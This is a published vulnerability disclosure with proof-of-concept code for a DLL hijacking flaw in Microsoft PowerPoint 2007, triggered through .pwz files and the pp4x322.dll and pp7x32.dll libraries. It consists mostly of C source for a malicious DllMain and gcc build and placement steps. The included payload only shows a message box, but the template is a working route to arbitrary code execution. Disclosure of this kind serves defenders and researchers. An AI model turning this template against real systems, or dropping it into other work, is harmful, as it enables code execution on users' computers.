Microsoft Office PowerPoint 2007 12.0.4518 DLL Hijacking Exploit

`/*  
  
Microsoft Office PowerPoint 2007 v12.0.4518 (pp4x322.dll) DLL Hijacking Exploit  
  
Vendor: Microsoft Corp.  
Product Web Page: http://www.microsoft.com  
Affected Version: 12.0.4518.1014 MSO (12.0.4518.1014)  
  
Summary: Microsoft PowerPoint is a presentation program by Microsoft.  
It is part of the Microsoft Office suite, and runs on Microsoft Windows  
and Apple's Mac OS X operating system.  
  
Desc: MS PowerPoint 2007 suffers from a dll hijacking vulnerability  
that enables the attacker to execute arbitrary code on a local  
level. The vulnerable extension is .pwz thru pp4x322.dll and pp7x32.dll  
libraries.  
  
----  
gcc -shared -o pp4x322.dll mspowerp.c  
  
Compile and rename to pp4x322.dll, create a file test.pwz and put both  
files in same dir and execute.  
----  
  
Tested on Microsoft Windows XP Professional SP3 (EN)  
  
  
  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
liquidworm gmail com  
  
Zero Science Lab - http://www.zeroscience.mk  
  
  
25.08.2010  
  
*/  
  
  
#include <windows.h>  
  
BOOL WINAPI DllMain (HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)  
{  
  
switch (fdwReason)  
{  
case DLL_PROCESS_ATTACH:  
dll_mll();  
case DLL_THREAD_ATTACH:  
case DLL_THREAD_DETACH:  
case DLL_PROCESS_DETACH:  
break;  
}  
  
return TRUE;  
}  
  
int dll_mll()  
{  
MessageBox(0, "DLL Hijacked!", "DLL Message", MB_OK);  
}  
`